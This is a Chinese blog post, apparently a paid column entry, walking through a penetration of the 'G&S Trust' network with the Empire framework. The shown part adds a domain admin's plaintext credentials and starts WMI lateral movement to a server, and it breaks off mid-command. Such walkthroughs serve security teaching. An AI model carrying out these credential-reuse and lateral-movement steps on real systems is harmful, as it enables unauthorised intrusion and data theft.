17、渗透G&S Trust网络：获取关键数据的全流程揭秘

秃然暴富

于 2025-09-12 02:50:29 发布

阅读量64

点赞数

CC 4.0 BY-SA版权

分类专栏：像传奇一样渗透文章标签：渗透测试 G&S Trust Empire框架

本文链接：https://blog.youkuaiyun.com/vscode6remote/article/details/151599456

像传奇一样渗透专栏收录该内容

17 篇文章 ¥499.90

订阅专栏¥69.90

会员秒杀 ¥9.9 重磅福利

超级会员免费看

渗透G&S Trust网络：获取关键数据的全流程揭秘

1. 初始攻击与权限提升

在对G&S Trust网络的渗透过程中，我们首先将admin.joey的凭证传递给 invoke_wmi 模块，并以服务器GS - CS - 01为目标。具体操作步骤如下：

(Empire: REH4UX5P) > creds add GSTRUST admin.joey Ronan1987

执行上述命令后，我们可以看到添加的凭证信息：
| CredID | CredType | Domain | UserName | Password |
| ------ | -------- | ------ | -------- | -------- |
| 1 | plaintext | GSTRUST | admin.joey | Ronan1987 |

接着，我们使用 invoke_wmi 模块进行横向移动：

(Empire: REH4UX5P) > usemodule lateral_movement/invoke_wmi
(Empire: invoke_wmi) > set Listener https_1
(Empire: invoke_wmi) > set CredID 1
(Empire: invoke_wmi) > set ComputerName GS-CS-01.G